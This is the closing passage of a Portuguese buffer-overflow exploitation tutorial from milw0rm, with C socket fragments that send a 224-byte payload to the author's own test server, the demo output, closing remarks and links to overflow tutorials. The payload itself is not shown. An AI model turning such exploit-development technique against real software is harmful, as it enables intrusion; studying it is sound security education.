if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) == 
SOCKET_ERROR){
  fprintf (stdout, "\n[Porta fechada]\n");
  return (0);}

-- cut -- 


Depois envio o payload que vai explorar o programa:

-- cut -- 

 send (SoCk, payload, 224, 0);

-- cut -- 

Sending exploit...
Pressione qualquer tecla para continuar. . .

E o resultado eh este:

C:\Documents and Settings\David\Meus documentos>fox_server.exe
Listening in the 666 port...223

 Hi 6_Bl4ck9_f0x6


     =========================================================
     +  http://www.hunterhacker.xpg.com.br/exploited.JPG     +
     =========================================================


----- Capitulo 0x0E


[=] + =========================================== + [=]
             ---=[ Consideracoes finais ]=--- 
[=] + =========================================== + [=]


Um critico natural, amante da beleza  feminina, amante das coisas boas da vida, 
alguem que pretende ter familia, ter  alguem  pra quem  deixar o  que aprendeu. 
Alguem que as unicas coisas que quer e privacidade e felicidade, alguem que nao 
entende porque as pessoas possuem muito poder, alguem que nao entende porque as 
pessoas menores se deixam obedecer, alguem que espera...


"A verdadeira mascara e aquela que voce carrega dentro de si."
                                      -- " "

----[ Useful links and references


    =====================================================================
    Course of C Part 4 - Final Version. Written for my e-zine (C.O.D.E).
    
    [1] - http://www.blackhat-forums.com/index.php?showtopic=8574
    =====================================================================
    Exploiting Heap Overflow in the windows without mistery
   
    [2] - http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt
    =====================================================================
    Stack/buffer overflow by blackwinner 

    [3] - http://www.forum.darkers.com.br/index.php?topic=9941.msg44462;topicseen#msg44462
    =====================================================================
    Difference Between AT&T and Intel Assembly Syntax

    [4] - http://www.w00w00.org/files/articles/att-vs-intel.txt
    =====================================================================
    Tutorial Basico do gcc e entendendo as etapas de compilacao

    [5] - http://www.hunterhacker.xpg.com.br/gcc_tuto_1.txt
    =====================================================================
     

"O ser mais perigoso e aquele que nao representa perigo algum."

[]`s

by 

6_Bl4ck9_f0x6 - Viper Corp Group

# milw0rm.com [2009-05-08]